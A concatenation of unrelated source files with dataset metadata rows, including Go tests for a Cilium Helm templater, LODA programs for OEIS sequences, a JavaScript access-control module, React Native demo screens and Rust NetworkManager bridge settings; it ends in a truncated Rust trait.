tt.Expect(tt.t.GenerateUpgradePreflightManifest(tt.ctx, tt.spec)).To(Equal(tt.manifest), "templater.GenerateUpgradePreflightManifest() should return right manifest")
}
func TestTemplaterGenerateUpgradePreflightManifestError(t *testing.T) {
tt := newtemplaterTest(t)
tt.expectHelmTemplateWith(gomock.Any()).Return(nil, errors.New("error from helm")) // Using any because we only want to test the returned error
_, err := tt.t.GenerateUpgradePreflightManifest(tt.ctx, tt.spec)
tt.Expect(err).To(HaveOccurred(), "templater.GenerateUpgradePreflightManifest() should fail")
tt.Expect(err).To(MatchError(ContainSubstring("error from helm")))
}
func TestTemplaterGenerateManifestSuccess(t *testing.T) {
wantValues := map[string]interface{}{
"cni": map[string]interface{}{
"chainingMode": "portmap",
},
"ipam": map[string]interface{}{
"mode": "kubernetes",
},
"identityAllocationMode": "crd",
"prometheus": map[string]interface{}{
"enabled": true,
},
"rollOutCiliumPods": true,
"tunnel": "geneve",
"image": map[string]interface{}{
"repository": "public.ecr.aws/isovalent/cilium",
"tag": "v1.9.11-eksa.1",
},
"operator": map[string]interface{}{
"image": map[string]interface{}{
"repository": "public.ecr.aws/isovalent/operator",
"tag": "v1.9.11-eksa.1",
},
"prometheus": map[string]interface{}{
"enabled": true,
},
},
}
tt := newtemplaterTest(t)
tt.expectHelmTemplateWith(eqMap(wantValues)).Return(tt.manifest, nil)
tt.Expect(tt.t.GenerateManifest(tt.ctx, tt.spec)).To(Equal(tt.manifest), "templater.GenerateManifest() should return right manifest")
}
func TestTemplaterGenerateManifestPolicyEnforcementModeSuccess(t *testing.T) {
wantValues := map[string]interface{}{
"cni": map[string]interface{}{
"chainingMode": "portmap",
},
"ipam": map[string]interface{}{
"mode": "kubernetes",
},
"identityAllocationMode": "crd",
"prometheus": map[string]interface{}{
"enabled": true,
},
"rollOutCiliumPods": true,
"tunnel": "geneve",
"image": map[string]interface{}{
"repository": "public.ecr.aws/isovalent/cilium",
"tag": "v1.9.11-eksa.1",
},
"operator": map[string]interface{}{
"image": map[string]interface{}{
"repository": "public.ecr.aws/isovalent/operator",
"tag": "v1.9.11-eksa.1",
},
"prometheus": map[string]interface{}{
"enabled": true,
},
},
"policyEnforcementMode": "always",
}
tt := newtemplaterTest(t)
tt.expectHelmTemplateWith(eqMap(wantValues)).Return(tt.manifest, nil)
tt.spec.Cluster.Spec.ClusterNetwork.CNIConfig.Cilium.PolicyEnforcementMode = v1alpha1.CiliumPolicyModeAlways
tt.Expect(tt.t.GenerateManifest(tt.ctx, tt.spec)).To(Equal(tt.manifest), "templater.GenerateManifest() should return right manifest")
}
func TestTemplaterGenerateManifestError(t *testing.T) {
tt := newtemplaterTest(t)
tt.expectHelmTemplateWith(gomock.Any()).Return(nil, errors.New("error from helm")) // Using any because we only want to test the returned error
_, err := tt.t.GenerateManifest(tt.ctx, tt.spec)
tt.Expect(err).To(HaveOccurred(), "templater.GenerateManifest() should fail")
tt.Expect(err).To(MatchError(ContainSubstring("error from helm")))
}
func TestTemplaterGenerateUpgradeManifestSuccess(t *testing.T) {
wantValues := map[string]interface{}{
"cni": map[string]interface{}{
"chainingMode": "portmap",
},
"ipam": map[string]interface{}{
"mode": "kubernetes",
},
"identityAllocationMode": "crd",
"prometheus": map[string]interface{}{
"enabled": true,
},
"rollOutCiliumPods": true,
"tunnel": "geneve",
"image": map[string]interface{}{
"repository": "public.ecr.aws/isovalent/cilium",
"tag": "v1.9.11-eksa.1",
},
"operator": map[string]interface{}{
"image": map[string]interface{}{
"repository": "public.ecr.aws/isovalent/operator",
"tag": "v1.9.11-eksa.1",
},
"prometheus": map[string]interface{}{
"enabled": true,
},
},
"upgradeCompatibility": "1.9",
}
tt := newtemplaterTest(t)
tt.expectHelmTemplateWith(eqMap(wantValues)).Return(tt.manifest, nil)
tt.Expect(tt.t.GenerateUpgradeManifest(tt.ctx, tt.currentSpec, tt.spec)).To(Equal(tt.manifest), "templater.GenerateUpgradeManifest() should return right manifest")
}
func TestTemplaterGenerateUpgradeManifestError(t *testing.T) {
tt := newtemplaterTest(t)
tt.expectHelmTemplateWith(gomock.Any()).Return(nil, errors.New("error from helm")) // Using any because we only want to test the returned error
_, err := tt.t.GenerateUpgradeManifest(tt.ctx, tt.currentSpec, tt.spec)
tt.Expect(err).To(HaveOccurred(), "templater.GenerateUpgradeManifest() should fail")
tt.Expect(err).To(MatchError(ContainSubstring("error from helm")))
}
func TestTemplaterGenerateNetworkPolicy(t *testing.T) {
tests := []struct {
name string
k8sVersion string
selfManaged bool
gitopsEnabled bool
infraProviderNamespaces []string
wantNetworkPolicyFile string
}{
{
name: "CAPV mgmt cluster",
k8sVersion: "v1.21.9-eks-1-21-10",
selfManaged: true,
gitopsEnabled: false,
infraProviderNamespaces: []string{"capv-system"},
wantNetworkPolicyFile: "testdata/network_policy_mgmt_capv.yaml",
},
{
name: "CAPT mgmt cluster with flux",
k8sVersion: "v1.21.9-eks-1-21-10",
selfManaged: true,
gitopsEnabled: true,
infraProviderNamespaces: []string{"capt-system"},
wantNetworkPolicyFile: "testdata/network_policy_mgmt_capt_flux.yaml",
},
{
name: "workload cluster 1.21",
k8sVersion: "v1.21.9-eks-1-21-10",
selfManaged: false,
gitopsEnabled: false,
infraProviderNamespaces: []string{},
wantNetworkPolicyFile: "testdata/network_policy_workload_121.yaml",
},
{
name: "workload cluster 1.20",
k8sVersion: "v1.20.9-eks-1-20-10",
selfManaged: false,
gitopsEnabled: false,
infraProviderNamespaces: []string{},
wantNetworkPolicyFile: "testdata/network_policy_workload_120.yaml",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
temp := newtemplaterTest(t)
temp.spec.VersionsBundle.KubeDistro.Kubernetes.Tag = tt.k8sVersion
if !tt.selfManaged {
temp.spec.Cluster.Spec.ManagementCluster.Name = "managed"
}
if tt.gitopsEnabled {
temp.spec.Cluster.Spec.GitOpsRef = &v1alpha1.Ref{
Kind: v1alpha1.FluxConfigKind,
Name: "eksa-unit-test",
}
temp.spec.Config.GitOpsConfig = &v1alpha1.GitOpsConfig{
Spec: v1alpha1.GitOpsConfigSpec{
Flux: v1alpha1.Flux{Github: v1alpha1.Github{FluxSystemNamespace: "flux-system"}},
},
}
}
networkPolicy, err := temp.t.GenerateNetworkPolicyManifest(temp.spec, tt.infraProviderNamespaces)
if err != nil {
t.Fatalf("failed to generate network policy template: %v", err)
}
test.AssertContentToFile(t, string(networkPolicy), tt.wantNetworkPolicyFile)
})
}
}
| 32.946903 | 166 | 0.67186 |
07c37a7d5d6bb4e08732168a65615a77307dba19
| 699 |
asm
|
Assembly
|
programs/oeis/033/A033264.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1 |
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/033/A033264.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/033/A033264.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A033264: Number of blocks of {1,0} in the binary expansion of n.
; 0,1,0,1,1,1,0,1,1,2,1,1,1,1,0,1,1,2,1,2,2,2,1,1,1,2,1,1,1,1,0,1,1,2,1,2,2,2,1,2,2,3,2,2,2,2,1,1,1,2,1,2,2,2,1,1,1,2,1,1,1,1,0,1,1,2,1,2,2,2,1,2,2,3,2,2,2,2,1,2,2,3,2,3,3,3,2,2,2,3,2,2,2,2,1,1,1,2,1,2,2,2,1,2,2,3,2,2,2,2,1,1,1,2,1,2,2,2,1,1,1,2,1,1,1,1,0,1,1,2,1,2,2,2,1,2,2,3,2,2,2,2,1,2,2,3,2,3,3,3,2,2,2,3,2,2,2,2,1,2,2,3,2,3,3,3,2,3,3,4,3,3,3,3,2,2,2,3,2,3,3,3,2,2,2,3,2,2,2,2,1,1,1,2,1,2,2,2,1,2,2,3,2,2,2,2,1,2,2,3,2,3,3,3,2,2,2,3,2,2,2,2,1,1,1,2,1,2,2,2,1,2,2,3,2,2,2,2,1,1,1,2,1,2,2,2,1,1,1,2
add $0,1
mov $1,1
lpb $0
add $1,1
mov $2,$0
mul $0,2
div $0,4
add $2,$1
gcd $2,2
add $1,$2
sub $1,2
lpe
div $1,2
| 41.117647 | 501 | 0.515021 |
04085a36e11bed5856e78f48de115650714a1588
| 1,020 |
js
|
JavaScript
|
packages/q3-core-access/lib/core/accessControl.js
|
3merge/q3-api
|
54978dea03e471af36e9485792f2adf850cf7267
|
[
"MIT"
] | 3 |
2021-05-28T01:12:08.000Z
|
2021-12-14T00:13:18.000Z
|
packages/q3-core-access/lib/core/accessControl.js
|
3merge/q3-api
|
54978dea03e471af36e9485792f2adf850cf7267
|
[
"MIT"
] | 74 |
2019-12-02T15:39:14.000Z
|
2022-03-20T15:04:40.000Z
|
packages/q3-core-access/lib/core/accessControl.js
|
3merge/q3-api
|
54978dea03e471af36e9485792f2adf850cf7267
|
[
"MIT"
] | null | null | null |
const {
findFileTraversingUpwards,
} = require('q3-schema-utils');
const { filterByRoleType } = require('../helpers');
const AccessControl = {
init(src = []) {
let grants = [];
if (typeof src === 'string')
grants = findFileTraversingUpwards(
src,
'q3-access.json',
);
else if (Array.isArray(src)) grants = src;
AccessControl.grants = grants
.filter(
(seed) => seed && seed.coll && seed.role && seed.op,
)
.map((seed) => ({
documentConditions: [],
fields: '*',
ownership: 'Own',
ownershipAliases: [],
...seed,
}));
if (process.env.NODE_ENV !== 'test')
Object.freeze(AccessControl);
},
purge() {
AccessControl.grants = [];
},
get(roleType) {
if (!Array.isArray(AccessControl.grants))
throw new Error(
'AccessControl must first be initialized',
);
return filterByRoleType(AccessControl.grants, roleType);
},
};
module.exports = AccessControl;
| 21.25 | 60 | 0.564706 |
6f74192a8ce87267680e64324008dea33565e533
| 1,031 |
asm
|
Assembly
|
programs/oeis/275/A275910.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1 |
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/275/A275910.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/275/A275910.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A275910: Numbers not congruent to 0, 1 or 8 mod 9.
; 2,3,4,5,6,7,11,12,13,14,15,16,20,21,22,23,24,25,29,30,31,32,33,34,38,39,40,41,42,43,47,48,49,50,51,52,56,57,58,59,60,61,65,66,67,68,69,70,74,75,76,77,78,79,83,84,85,86,87,88,92,93,94,95,96,97,101,102,103,104,105,106,110,111,112,113,114,115,119,120,121,122,123,124,128,129,130,131,132,133,137,138,139,140,141,142,146,147,148,149,150,151,155,156,157,158,159,160,164,165,166,167,168,169,173,174,175,176,177,178,182,183,184,185,186,187,191,192,193,194,195,196,200,201,202,203,204,205,209,210,211,212,213,214,218,219,220,221,222,223,227,228,229,230,231,232,236,237,238,239,240,241,245,246,247,248,249,250,254,255,256,257,258,259,263,264,265,266,267,268,272,273,274,275,276,277,281,282,283,284,285,286,290,291,292,293,294,295,299,300,301,302,303,304,308,309,310,311,312,313,317,318,319,320,321,322,326,327,328,329,330,331,335,336,337,338,339,340,344,345,346,347,348,349,353,354,355,356,357,358,362,363,364,365,366,367,371,372,373,374
mov $1,$0
div $0,6
mul $0,3
add $1,$0
add $1,2
| 114.555556 | 929 | 0.71775 |
5bbea44f58b79da75aade0ea50b6687d9cb2b9d0
| 188 |
swift
|
Swift
|
EurosportKit/Models/Generated/Catchup+CoreDataClass.swift
|
alexanderedge/European-Sports
|
c57918647c172317ed38b3e95b8a0751fe348cf4
|
[
"MIT"
] | 2 |
2017-04-04T09:49:14.000Z
|
2017-08-24T17:37:28.000Z
|
EurosportKit/Models/Generated/Catchup+CoreDataClass.swift
|
alexanderedge/European-Sports
|
c57918647c172317ed38b3e95b8a0751fe348cf4
|
[
"MIT"
] | null | null | null |
EurosportKit/Models/Generated/Catchup+CoreDataClass.swift
|
alexanderedge/European-Sports
|
c57918647c172317ed38b3e95b8a0751fe348cf4
|
[
"MIT"
] | null | null | null |
//
// Catchup+CoreDataClass.swift
//
//
// Created by Alexander Edge on 30/01/2017.
//
//
import Foundation
import CoreData
@objc(Catchup)
public class Catchup: NSManagedObject {
}
| 11.75 | 44 | 0.696809 |
5c208207c73e1bdcc0d46f02cb853727717694eb
| 196 |
kt
|
Kotlin
|
idea/testData/debugger/exceptionFilter/inlineFunCallSiteInLambdaInlinedIntoObject/inlineFunCallSiteInLambdaInlinedIntoObject.kt
|
tgeng/intellij-kotlin
|
074f16db036cbdc3dc3e082841c1573b2da74f2d
|
[
"ECL-2.0",
"Apache-2.0"
] | 71 |
2020-10-12T14:18:06.000Z
|
2022-02-25T07:57:06.000Z
|
idea/testData/debugger/exceptionFilter/inlineFunCallSiteInLambdaInlinedIntoObject/inlineFunCallSiteInLambdaInlinedIntoObject.kt
|
tgeng/intellij-kotlin
|
074f16db036cbdc3dc3e082841c1573b2da74f2d
|
[
"ECL-2.0",
"Apache-2.0"
] | 76 |
2020-11-13T12:30:25.000Z
|
2021-09-17T15:32:57.000Z
|
idea/testData/debugger/exceptionFilter/inlineFunCallSiteInLambdaInlinedIntoObject/inlineFunCallSiteInLambdaInlinedIntoObject.kt
|
tgeng/intellij-kotlin
|
074f16db036cbdc3dc3e082841c1573b2da74f2d
|
[
"ECL-2.0",
"Apache-2.0"
] | 36 |
2020-10-12T14:04:32.000Z
|
2022-01-29T20:35:30.000Z
|
fun box() {
foo {
bar()
}
}
// MAIN_CLASS: InlineFunCallSiteInLambdaInlinedIntoObjectKt
// NAVIGATE_TO_CALL_SITE
// FILE: inlineFunCallSiteInLambdaInlinedIntoObject.kt
// LINE: 3
| 17.818182 | 59 | 0.714286 |
9aee5079fe59b4e91098631564815b512f755c24
| 913 |
css
|
CSS
|
src/paginas/Agenda/estilo.css
|
LNovaes-bit/Consultorio-Odontologia
|
478410938d848efc14ec0acaba7f66fdcfcbe4e8
|
[
"MIT"
] | null | null | null |
src/paginas/Agenda/estilo.css
|
LNovaes-bit/Consultorio-Odontologia
|
478410938d848efc14ec0acaba7f66fdcfcbe4e8
|
[
"MIT"
] | null | null | null |
src/paginas/Agenda/estilo.css
|
LNovaes-bit/Consultorio-Odontologia
|
478410938d848efc14ec0acaba7f66fdcfcbe4e8
|
[
"MIT"
] | null | null | null |
.formulario-container{
display: flex;
justify-content: center;
margin: 0 auto;
padding: 70px;
width: 55%;
}
.title{
width: 50% auto;
align-self: center;
}
.formulario{
width: 50% auto;
align-self: center;
}
.lista-formulario{
list-style: none;
text-align: right;
border: 1px solid rgb(2, 34, 43);
border-radius: 10px;
background-color:#1b3675;
margin: 15px;
padding: 15px;
list-style: none;
text-transform: uppercase;
}
.lista-formulario li{
margin-bottom: 10px;
font-size: 16px;
font-weight: 600;
color: rgb(236, 144, 6);
}
.lista-formulario li input{
width: 170px;
padding: 0%;
height: 20px;
}
.lista-formulario li select{
width: 172px;
height: 20px;
}
.btn-agenda{
color: rgb(250, 150, 1);
border: 1px solid rgb ( 16, 123, 194);
}
| 16.6 | 43 | 0.56736 |
c4948d9c46947f395de3b8bac942637f6e437c98
| 351 |
c
|
C
|
lib/mnml/logic/equ.c
|
xguerin/minima.l
|
6b0ef6d8d7b0f144dc07e734365f0b44cd145511
|
[
"0BSD"
] | 4 |
2018-02-26T23:43:50.000Z
|
2021-02-19T16:06:25.000Z
|
lib/mnml/logic/equ.c
|
xguerin/minima.l
|
6b0ef6d8d7b0f144dc07e734365f0b44cd145511
|
[
"0BSD"
] | 2 |
2018-01-31T19:35:19.000Z
|
2018-04-10T19:24:55.000Z
|
lib/mnml/logic/equ.c
|
xguerin/minima.l
|
6b0ef6d8d7b0f144dc07e734365f0b44cd145511
|
[
"0BSD"
] | 1 |
2018-02-27T00:43:14.000Z
|
2018-02-27T00:43:14.000Z
|
#include <mnml/lisp.h>
#include <mnml/module.h>
#include <mnml/slab.h>
#include <mnml/utils.h>
static atom_t USED
lisp_function_equ(const lisp_t lisp, const atom_t closure)
{
LISP_ARGS(closure, C, X, Y);
return lisp_equ(X, Y) ? lisp_make_true(lisp) : lisp_make_nil(lisp);
}
LISP_MODULE_SETUP(equ, =, X, Y, NIL)
// vim: tw=80:sw=2:ts=2:sts=2:et
| 21.9375 | 69 | 0.703704 |
859b6042e3679d82abe753c8afc340859b40cead
| 1,027 |
asm
|
Assembly
|
src/game_logic/grow_snake.asm
|
lawrimon/SnakeV
|
619a7e3697ef60950960ac0cce4b2f57f25d526f
|
[
"MIT"
] | 2 |
2021-12-08T18:10:44.000Z
|
2022-03-11T09:24:51.000Z
|
src/game_logic/grow_snake.asm
|
lawrimon/SnakeV
|
619a7e3697ef60950960ac0cce4b2f57f25d526f
|
[
"MIT"
] | null | null | null |
src/game_logic/grow_snake.asm
|
lawrimon/SnakeV
|
619a7e3697ef60950960ac0cce4b2f57f25d526f
|
[
"MIT"
] | 1 |
2021-11-03T17:10:56.000Z
|
2021-11-03T17:10:56.000Z
|
.text
grow_snake:
# inputs:
# -s0 = new coordinates of snake head
# -s9 = coordinate of fruit (should be the same since grow is called if the coordinates are equal)
# output:
# - changed s4 vector with new head
lw t0, 0(s4) #load length of snake
addi t0,t0 ,1 #increase length of snake
sw t0, 0(s4) #store new length
slli t0,t0,2 #multiply length by 4
add t1,s4,t0 #address of last element
sw s0,0(t1) #store new coordinate to address of last element
########################################################################
#Console output
#score output in console (score = current snakelength - initial length)
lw a0,0(s4)
addi a0, a0, -3
li a7,1
ecall
li a0, 0x0A # ASCII for new line
li a7, 11
ecall
jal set_fruit #set new fruit
addi s10, s10, -1 # with every collected fruit the movement speed increases (shorter sleep ecall in _keyboard in main.asm)
lw s0, 0(sp)
lw s1, 4(sp)
lw s2, 8(sp)
lw s3, 12(sp)
lw s5, 16(sp)
lw t0,20(sp)
lw t1,24(sp)
lw t2,28(sp)
lw ra,32(sp)
addi sp, sp, 36
ret
| 21.395833 | 122 | 0.643622 |
e95d801f3b0c4b9df524a0e74930bd9d5230ddde
| 179 |
rb
|
Ruby
|
db/migrate/20081029150556_add_system_to_locale.rb
|
rdd-giga/tolk
|
cc0272d4627bcbb4005d5635ba7d1fdaab0eb6dd
|
[
"MIT"
] | 2 |
2021-11-05T03:21:51.000Z
|
2021-11-15T10:36:42.000Z
|
db/migrate/20081029150556_add_system_to_locale.rb
|
rdd-giga/tolk
|
cc0272d4627bcbb4005d5635ba7d1fdaab0eb6dd
|
[
"MIT"
] | null | null | null |
db/migrate/20081029150556_add_system_to_locale.rb
|
rdd-giga/tolk
|
cc0272d4627bcbb4005d5635ba7d1fdaab0eb6dd
|
[
"MIT"
] | 2 |
2015-09-13T18:52:52.000Z
|
2021-06-22T09:37:25.000Z
|
class AddSystemToLocale < ActiveRecord::Migration
def self.up
add_column :locales, :system_id, :integer
end
def self.down
remove_column :locales, :system
end
end
| 17.9 | 49 | 0.731844 |
f08cdedba45af65e9ee27ec2906322bb1895ca95
| 3,579 |
js
|
JavaScript
|
BrownfieldTestApp/MainScreen.js
|
berickson1/AppCenter-SDK-React-Native
|
89f9bbb79480ca4b6812502d0b1d9d06ca8d8893
|
[
"MIT"
] | null | null | null |
BrownfieldTestApp/MainScreen.js
|
berickson1/AppCenter-SDK-React-Native
|
89f9bbb79480ca4b6812502d0b1d9d06ca8d8893
|
[
"MIT"
] | null | null | null |
BrownfieldTestApp/MainScreen.js
|
berickson1/AppCenter-SDK-React-Native
|
89f9bbb79480ca4b6812502d0b1d9d06ca8d8893
|
[
"MIT"
] | null | null | null |
/**
* Sample React Native App
* https://github.com/facebook/react-native
* @flow
*/
import React, { Component } from 'react';
import { AppState, Alert, Button, View, Platform, ToastAndroid, Text } from 'react-native';
import AppCenter from 'appcenter';
import Crashes, { UserConfirmation, ErrorAttachmentLog } from 'appcenter-crashes';
import Push from 'appcenter-push';
import SharedStyles from './SharedStyles';
export default class MainScreen extends Component {
constructor() {
super();
this.state = {
wrapperSdkVersion: AppCenter.getSdkVersion()
};
}
static navigationOptions = {
title: 'Brownfield TestApp',
};
render() {
const { navigate } = this.props.navigation;
return (
<View style={SharedStyles.container}>
<Text style={SharedStyles.heading}>
React Native SDK version {this.state.wrapperSdkVersion}
</Text>
<Button title="Test Crashes" onPress={() => navigate('Crashes')} />
<Button title="Test Analytics" onPress={() => navigate('Analytics')} />
<Button title="Test Push" onPress={() => navigate('Push')} />
</View>
);
}
}
Push.setListener({
onPushNotificationReceived(pushNotification) {
let message = pushNotification.message;
let title = pushNotification.title;
if (message === null || message === undefined) {
// Android messages received in the background don't include a message. On Android, that fact can be used to
// check if the message was received in the background or foreground. For iOS the message is always present.
title = 'Android background';
message = '<empty>';
}
// Any custom name/value pairs added in the portal are in customProperties
if (pushNotification.customProperties && Object.keys(pushNotification.customProperties).length > 0) {
message += `\nCustom properties:\n${JSON.stringify(pushNotification.customProperties)}`;
}
if (AppState.currentState === 'active') {
Alert.alert(title, message);
} else {
// Sometimes the push callback is received shortly before the app is fully active in the foreground.
// In this case you'll want to save off the notification info and wait until the app is fully shown
// in the foreground before displaying any UI. You could use AppState.addEventListener to be notified
// when the app is fully in the foreground.
// Showing an alert when not in the "active" state seems to work on iOS; for Android, we show a toast
// message instead
if (Platform.OS === 'android') {
ToastAndroid.show(`Notification while inactive:\n${message}`, ToastAndroid.LONG);
}
Alert.alert(title, message);
}
}
});
const testIcon = `iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAALGP
C/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3Cc
ulE8AAAA1VBMVEXLLmPLLWPLLWLMMWXLLGLMMmbcdJftt8nYY4vKLGHSSXfp
qL799fj////oobnVVYDUUX3LL2TccpX12OL88fXrsMT56O7NNWjhhaT56O3S
SHfTT3z56e777vPcc5bQQXH22+Tuvc7sssX++vv66/DuvM3sssbYZIv22uT7
7vLvvs79+PrUUH3OOmzjjqr66u/99vj23OXZZo3YYIn89Pf++fv22uPYYorX
YIjZaI767PHuusz99/nbb5TPQHDqqsD55+3ggqL55ez11+HRSHfUUn7TT3vg
lpRpAAAAAWJLR0QN9rRh9QAAAJpJREFUGNNjYMAKGJmYmZD5LKxs7BxMDJws
UD4nFzcPLx8LA7+AIJjPKiQsIirGJy4hKSwFUsMpLSMrJ6+gqKTMqyLACRRg
klflUVPX4NXU0lbRAQkwMOnqiegbGBoZmyAJaJqamVtABYBaDNgtDXmtrG0g
AkBDNW3tFFRFTaGGgqyVtXfgE3d0cnZhQXYYk6ubIA6nY3oOGQAAubQPeKPu
sH8AAAAldEVYdGRhdGU6Y3JlYXRlADIwMTctMDctMjhUMDM6NDE6MTUrMDI6
MDAk+3aMAAAAJXRFWHRkYXRlOm1vZGlmeQAyMDE3LTA3LTI4VDAzOjQxOjE1
KzAyOjAwVabOMAAAAABJRU5ErkJggg==`;
| 39.32967 | 114 | 0.738195 |
02eafc1228839eb6ef8b2e7574f11271c46ba5c8
| 1,385 |
kt
|
Kotlin
|
navigation/src/main/java/com/example/navigation/IRouter.kt
|
alizeec/Kotlin-Pokedex
|
eb49a54af4aba22beb648d403ab4f19c60be1a65
|
[
"MIT"
] | 23 |
2020-02-13T13:35:17.000Z
|
2022-03-30T19:16:18.000Z
|
navigation/src/main/java/com/example/navigation/IRouter.kt
|
alizeec/Kotlin-Pokedex
|
eb49a54af4aba22beb648d403ab4f19c60be1a65
|
[
"MIT"
] | null | null | null |
navigation/src/main/java/com/example/navigation/IRouter.kt
|
alizeec/Kotlin-Pokedex
|
eb49a54af4aba22beb648d403ab4f19c60be1a65
|
[
"MIT"
] | null | null | null |
package com.example.navigation
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
import androidx.fragment.app.Fragment
interface IRouter {
val currentActivity: AppCompatActivity?
val currentFragment: Fragment?
fun navigateTo(
destination: String,
extras: Map<String, Any>? = null,
flags: LaunchScreenFlags? = null
)
fun navigateToForResult(
destination: String,
requestCode: Int,
extras: Map<String, Any>? = null,
flags: LaunchScreenFlags? = null
)
fun navigateBack()
fun finishWithResult(resultExtras: Bundle?, resultCode: Int)
/**
* Call this method in each of your Activity.onCreate() and Activity.onRestart()
*/
fun bindActivity(activity: AppCompatActivity, fragmentHostId: Int? = null)
fun openExternalApplication(appType: ExternalAppType, block: ExternalAppContent.() -> Unit)
fun addOnNavigationChangedListener(listener: OnNavigationChangedListener)
fun removeOnNavigationChangedListener(listener: OnNavigationChangedListener)
fun bindViewDelegate(delegate: ViewDelegate)
fun unbindViewDelegate(delegate: ViewDelegate)
fun <T : ViewDelegate> findViewDelegateByType(onFound: (delegate: T) -> Unit)
fun shouldBlockNavigateBack(meetCondition: Boolean, action: () -> Unit)
fun shouldAllowNavigateBack()
}
| 27.7 | 95 | 0.723466 |
c48dd6de4c38af4e71238272d39615da0ba111bd
| 527 |
h
|
C
|
Demo/Demo/ArtTableViewController.h
|
sai417747/HHHorizontalPagingView
|
5c7689bc4dee230eeda325849245d24898c03862
|
[
"Apache-2.0"
] | 131 |
2016-05-28T15:19:10.000Z
|
2022-01-06T17:45:13.000Z
|
Demo/Demo/ArtTableViewController.h
|
hgl753951/HHHorizontalPagingView
|
d156c7fc7f5cfb52581334a43f2e32af8934bf07
|
[
"Apache-2.0"
] | 8 |
2016-06-07T07:33:42.000Z
|
2019-11-14T08:00:36.000Z
|
Demo/Demo/ArtTableViewController.h
|
hgl753951/HHHorizontalPagingView
|
d156c7fc7f5cfb52581334a43f2e32af8934bf07
|
[
"Apache-2.0"
] | 37 |
2016-05-30T02:15:11.000Z
|
2020-06-01T16:09:02.000Z
|
//
// ArtTableViewController.h
// Demo
//
// Created by weijingyun on 16/5/28.
// Copyright © 2016年 weijingyun. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface ArtTableViewController : UIViewController
@property (nonatomic, strong, readonly) UITableView *tableView;
@property (nonatomic, assign) NSInteger index;
@property (nonatomic, assign) BOOL allowPullToRefresh;
@property (nonatomic, assign) CGFloat pullOffset;
@property (nonatomic, assign) CGFloat fillHight; //segmentButtons + segmentTopSpace
@end
| 26.35 | 84 | 0.762808 |
3d8d6a3eb9e5748264aaafd069f81ac63a349a7d
| 1,936 |
rs
|
Rust
|
src/libnm_dbus/connection/bridge.rs
|
qinqon/nmstate-rs
|
d954aa32ffd80ee5ea9f1c998f4d30f59e059a17
|
[
"Apache-2.0"
] | 1 |
2019-06-18T14:27:53.000Z
|
2019-06-18T14:27:53.000Z
|
src/libnm_dbus/connection/bridge.rs
|
qinqon/nmstate-rs
|
d954aa32ffd80ee5ea9f1c998f4d30f59e059a17
|
[
"Apache-2.0"
] | null | null | null |
src/libnm_dbus/connection/bridge.rs
|
qinqon/nmstate-rs
|
d954aa32ffd80ee5ea9f1c998f4d30f59e059a17
|
[
"Apache-2.0"
] | 1 |
2021-10-01T11:57:34.000Z
|
2021-10-01T11:57:34.000Z
|
// Copyright 2021 Red Hat, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
use std::collections::HashMap;
use std::convert::TryFrom;
use crate::{dbus_value::value_hash_get_bool, error::NmError};
#[derive(Debug, Clone, PartialEq, Default)]
pub struct NmSettingBridge {
pub stp: Option<bool>,
}
impl TryFrom<&HashMap<String, zvariant::OwnedValue>> for NmSettingBridge {
type Error = NmError;
fn try_from(
value: &HashMap<String, zvariant::OwnedValue>,
) -> Result<Self, Self::Error> {
Ok(Self {
stp: value_hash_get_bool(value, "stp")?,
})
}
}
impl NmSettingBridge {
pub(crate) fn to_value(
&self,
) -> Result<HashMap<&str, zvariant::Value>, NmError> {
let mut ret = HashMap::new();
if let Some(v) = self.stp {
ret.insert("stp", zvariant::Value::new(v));
}
Ok(ret)
}
}
#[derive(Debug, Clone, PartialEq, Default)]
pub struct NmSettingBridgePort {
// TODO: bridge port vlan filter.
}
impl TryFrom<&HashMap<String, zvariant::OwnedValue>> for NmSettingBridgePort {
type Error = NmError;
fn try_from(
_value: &HashMap<String, zvariant::OwnedValue>,
) -> Result<Self, Self::Error> {
Ok(Self {})
}
}
impl NmSettingBridgePort {
pub(crate) fn to_value(
&self,
) -> Result<HashMap<&str, zvariant::Value>, NmError> {
Ok(HashMap::new())
}
}
| 27.657143 | 78 | 0.64876 |
d958cb0255fdfe3f12562abfa28eacd7a49ae096
| 1,078 |
rs
|
Rust
|
crates/batbox/src/approx.rs
|
Nertsal/geng
|
28b36e9dab75a261189e8590e534d9668ea8ffe7
|
[
"MIT"
] | 10 |
2020-07-29T02:49:22.000Z
|
2022-03-01T14:55:12.000Z
|
crates/batbox/src/approx.rs
|
Nertsal/geng
|
28b36e9dab75a261189e8590e534d9668ea8ffe7
|
[
"MIT"
] | 32 |
2021-03-04T02:32:24.000Z
|
2022-03-17T19:49:43.000Z
|
crates/batbox/src/approx.rs
|
Nertsal/geng
|
28b36e9dab75a261189e8590e534d9668ea8ffe7
|
[
"MIT"
] | 2 |
2021-09-27T13:58:12.000Z
|
2022-03-30T15:43:27.000Z
|
use super::*;
const DEFAULT_EPS: f32 = 1e-9;
pub trait ApproxEq {
